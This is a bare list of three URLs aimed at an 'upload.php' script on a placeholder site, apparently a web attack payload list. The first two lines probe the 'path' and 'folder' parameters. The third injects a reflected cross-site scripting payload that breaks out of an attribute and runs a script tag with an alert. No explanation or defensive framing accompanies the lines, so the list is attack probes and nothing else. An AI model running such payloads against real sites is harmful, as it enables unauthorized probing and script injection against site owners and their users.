http://site.com/cn/upload.php?path=/
http://site.com/cn/upload.php?folder=/
http://site.com/cn/upload.php?path="><script>alert("xss")</script>